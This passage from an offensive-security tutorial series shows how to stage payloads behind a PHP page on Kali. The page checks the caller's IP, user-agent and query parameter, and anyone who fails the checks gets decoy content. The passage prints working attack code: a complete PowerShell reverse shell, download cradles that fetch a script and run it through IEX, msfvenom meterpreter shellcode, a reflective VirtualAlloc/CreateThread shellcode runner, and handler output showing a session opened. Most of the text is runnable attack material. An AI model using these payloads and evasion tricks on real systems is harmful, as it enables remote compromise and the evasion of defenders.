function decoy() {
    $decoy = 'Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQouLi4uLi4uIyMuLi4uLiMjLi4uLi4jIy4uLi4uLi4uLi4uLi4NCi4uLi4uLi4uLiMjLi4uLi4jIy4uLi4uIyMuLi4uLi4uLi4uLg0KLi4uLi4uLiMjLi4uLi4jIy4uLi4jIy4uLi4uLi4uLi4uLi4uDQouLi4uLi4uIyMuLi4uLiMjLi4uLiMjLi4uLi4uLi4uLi4uLi4NCi4uLi4uLi4uLiMjLi4uLi4jIy4uLiMjLi4uLi4uLi4uLi4uLg0KLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQouLi4uLi4jIyMjIyMjIyMjIyMjIyMjIyMjIy4uLi4uLi4uLi4NCi4uLi4uLiMjLi4uLi4uLi4uLi4uLi4uLiMjIyMjIy4uLi4uLg0KLi4uLi4uIyMuLi5UcnkuSGFyZGVyLi4uIyMuLiMjLi4uLi4uDQouLi4uLi4jIy4uLi4uLi4uLi4uLi4uLi4jIy4uIyMuLi4uLi4NCi4uLi4uLiMjLi4uLi4uLi4uLi4uLi4uLiMjIyMjIy4uLi4uLg0KLi4uLi4uLi4jIy4uLi4uLi4uLi4uLiMjLi4uLi4uLi4uLi4uDQouLi4uIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjLi4uLi4uLi4NCi4uLi4jIy4uLi4uLi4uLi4uLi4uLi4uLi4uIyMuLi4uLi4uLg0KLi4uLi4uIyMjIyMjIyMjIyMjIyMjIyMjIyMuLi4uLi4uLi4uDQouLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4=';
    $agent = $_SERVER['HTTP_USER_AGENT'];

    if(preg_match('((?i)(curl|wget|powershell))', $agent) === 1) {
        echo base64_decode($decoy);
    } else {
        echo '<pre>' . base64_decode($decoy) . '</pre>';
    }
}

$ip = callerIp('192.168.0.29');
$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00');
$param = callerParam('session');

if ($ip && $agent && $param) {
    echo "I see you.";
} else {
    decoy();
}
?>

Now we will attempt to browse to our page again using the same browser on our victim machine, which has revealed our decoy content.

With our conditional access requirements in place, we'll jump into how to stage the same payloads we had used previously in our DNS topic. With fresh coffee in hand, let's get to it.

Staged Listener Address

The first payload we will look at will be our listener address. As a recap, we are going to store the listener details of our attacker machine in an IP,PORT format within our web page. We will use a web call from our reverse shell payload to retrieve and format this payload so that we can inject it into our payload to achieve a successful reverse shell.

In order to achieve this, we'll make a few small modifications to our existing payloads.php file. Our updated code will consist of a new function called payload that will simply print the contents of our payload that we have stored in a variable.

function payload() {
    $payload = '192.168.0.21,443';
    echo $payload;
}

With our payload staged, we'll now address the conditions that must be met in order for our caller to retrieve them. In this scenario, we're going to require our web page to retrieve the ip address of 192.168.0.29, the user-agent of 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00 and the parameter name session.

$ip = callerIp('192.168.0.29');
$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00');
$param = callerParam('session');

if ($ip && $agent && $param) {
    payload();
} else {
    decoy();
}

We'll save our code into our payload.php file.

<?php
function callerIp($caller) {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if (filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }

    if ($caller === $ip) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function callerAgent($caller) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if ($caller === $agent) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function callerParam($caller) {
    $param = isset($_GET[$caller]);
    if ($param) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function decoy() {
    $decoy = 'Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQouLi4uLi4uIyMuLi4uLiMjLi4uLi4jIy4uLi4uLi4uLi4uLi4NCi4uLi4uLi4uLiMjLi4uLi4jIy4uLi4uIyMuLi4uLi4uLi4uLg0KLi4uLi4uLiMjLi4uLi4jIy4uLi4jIy4uLi4uLi4uLi4uLi4uDQouLi4uLi4uIyMuLi4uLiMjLi4uLiMjLi4uLi4uLi4uLi4uLi4NCi4uLi4uLi4uLiMjLi4uLi4jIy4uLiMjLi4uLi4uLi4uLi4uLg0KLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQouLi4uLi4jIyMjIyMjIyMjIyMjIyMjIyMjIy4uLi4uLi4uLi4NCi4uLi4uLiMjLi4uLi4uLi4uLi4uLi4uLiMjIyMjIy4uLi4uLg0KLi4uLi4uIyMuLi5UcnkuSGFyZGVyLi4uIyMuLiMjLi4uLi4uDQouLi4uLi4jIy4uLi4uLi4uLi4uLi4uLi4jIy4uIyMuLi4uLi4NCi4uLi4uLiMjLi4uLi4uLi4uLi4uLi4uLiMjIyMjIy4uLi4uLg0KLi4uLi4uLi4jIy4uLi4uLi4uLi4uLiMjLi4uLi4uLi4uLi4uDQouLi4uIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjLi4uLi4uLi4NCi4uLi4jIy4uLi4uLi4uLi4uLi4uLi4uLi4uIyMuLi4uLi4uLg0KLi4uLi4uIyMjIyMjIyMjIyMjIyMjIyMjIyMuLi4uLi4uLi4uDQouLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4=';
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if(preg_match('((?i)(curl|wget|powershell))', $agent) === 1) {
        echo base64_decode($decoy);
    } else {
        echo '<pre>' . base64_decode($decoy) . '</pre>';
    }
}

function payload() {
    $payload = '192.168.0.21,443';
    echo $payload;
}

$ip = callerIp('192.168.0.29');
$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00');
$param = callerParam('session');

if ($ip && $agent && $param) {
    payload();
} else {
    decoy();
}

?>

With our payload.php staged and ready to go, we'll look at how to retrieve this payload and inject our listener details into our PowerShell reverse shell. Because of the format of our listener detailers, we need to split the string and designate the appropriate index for our intended ip and port.

PS C:\> $HTTP = (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content
PS C:\> $HTTP.Split(',')[0],$HTTP.Split(',')[1]
192.168.0.21
443

Next we'll add this download cradle into our reverse shell script and run it from our victim machine.

$HTTP = (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content
$client = New-Object System.Net.Sockets.TCPClient($HTTP.split(',')[0],$HTTP.split(',')[1]);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

We can see the interaction with our PHP page as well as a successful reverse shell.

This was a very simple scenario, but has worked out quite nicely.

Staged Shellcode

The second payload we will look at will be our shellcode runner. As a recap, we are going to store shellcode that we'll generate with msfvenom that will be executed through the use of various Windows APIs. We will use a web call from our shellcode runner to retrieve and format this payload so that we can inject it into our payload to achieve a successful meterpreter reverse shell.

Similar to before, our shellcode runner will include a download cradle that will retrieve our staged payload from our PHP page, except in this instance we'll be pulling down shellcode. We'll start with generating our shellcode using msfvendon.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.21 LPORT=443 EXITFUNC=thread -f ps1

With our shellcode in hand, we'll copy and paste it into our payload function. We do not need to do any additional formatting so this part is straight forward.

function payload() {
    $payload = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5';
    echo $payload;
}

Now we'll change the conditions to require the same IP address and user-agent, but we'll change the parameter name to something different.

$ip = callerIp('192.168.0.29');
$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00');
$param = callerParam('handler');

if ($ip && $agent && $param) {
    payload();
} else {
    decoy();
}

We will modify our download cradle to leverage the use of the WebClient class. As we learned from our previous topic, the shellcode will be initially treated as a string, which will not work. In order for the shellcode to be accepted by the shellcode runner, we'll need to convert it to a byte aray by splitting the string into a variable that's been casted as a byte array.

PS C:\> $WC = New-Object System.Net.WebClient
PS C:\> $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00')
PS C:\> $WC.Headers.Add('Client-IP','192.168.0.29')
PS C:\> [Byte[]]$buf = $WC.DownloadString('http://192.168.0.21/payload.php?handler') -split ','

We'll add this download cradle into our shellcode runner.

function LookupFunc {
    Param (
        $moduleName, 
        $functionName
    )
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } }
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
$WC = New-Object System.Net.WebClient
$WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00')
$WC.Headers.Add('Client-IP','192.168.0.29')
[Byte[]]$buf = $WC.DownloadString('http://192.168.0.21/payload.php?handler') -split ','
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Once we execute it on our victim machine, we receive a reverse meterpreter shell.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.0.21; set LPORT 443; set EXITFUNC thread; exploit"
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_https
LHOST => 192.168.0.21
LPORT => 443
EXITFUNC => thread
[*] Started HTTPS reverse handler on https://192.168.0.21:443
[!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: hnc2ktg3) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: hnc2ktg3) Staging x64 payload (201820 bytes) ...
[!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: hnc2ktg3) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.0.21:443 -> 192.168.0.26:50281) at 2022-10-05 08:50:18 -0400

meterpreter >

Up to this point everything has been relatively straight forward. Now we'll start kicking it up a notch.

Staged Script

The third and final payload we will look at will be the entire shellcode runner we just wrote. What will make this payload different is that we will keep the download cradle to retrieve the shellcode within the payload and change our payload.php file to accommodate the retrieval of both our script and the embedded shellcode retrieval that won't step on each other.

There are a number of ways you can store the contents of a script in PHP, but the method I prefer is to use the file_get_contents function. This function reads the content of a file that can be printed back to a client. We'll use this function in lieu of having to bloat our web page with more code. What's going to make this a little more complicated is up to this point our payloads only needed a single download cradle in conjunction with a single set of conditions to retrieve that payload. Now we'll change it up by setting up our page to retrieve multiple payloads with different conditions.

We will start off by updating our code by spitting the shellcode and script into two different functions called payload_shellcode and payload_script.

function payload_shellcode() {
    $payload = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5';
    echo $payload;
}

function payload_runner(){
    $payload = file_get_contents('/home/kali/payloads/shellcode-runner.ps1');
    echo $payload;
}

Next we'll change up our if statements to handle multiple conditions. The first statement will be used to check if we're trying to retrieve the shellcode runner and a second statement will be added within an else clause to check if we're trying to retrieve the shellcode itself. We are going to keep the conditions to retrieve the shellcode the same as before, but we're going to require a different user-agent, IP address and parameter to retrieve the script.

$ip = callerIp('192.168.0.29');
$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01');
$param = callerParam('session');

if ($ip && $agent && $param) {
    payload_runner();
} else {
    $ip = callerIp('192.168.0.29');
    $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00');
    $param = callerParam('handler');
    if ($ip && $agent && $param) {
        payload_shellcode();
    } else {
        decoy();
    }
}

Since our cradle for our shellcode is already within our original script, we'll start up a listener and use a different download cradle to retrieve and execute our shellcode runner.

PS C:\> $((Invoke-WebRequest http://192.168.0.21/payload.php?session -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01' -Headers @{'X-Forwarded-For' = '192.168.0.29'}).Content) | IEX

Looking at our access logs, we see the requests to retrieve our script and shellcode followed by a successful reverse shell.

While it does add a bit of complexity, we now have a better idea on what it takes to stage scripts as well as a means to handle multiple requests for different payloads that won't stumble upon each other.

Wrapping Up

We have gone through the process of hosting a PHP web page on Kali Linux and how we can use it to stage payloads that are hidden behind a wall of conditional access requirements. We also briefly touched on the concept of decoy content. Keep your eye out for the final post in this series where we'll illustrate the use of TCP sockets to host and deliver staged payloads.

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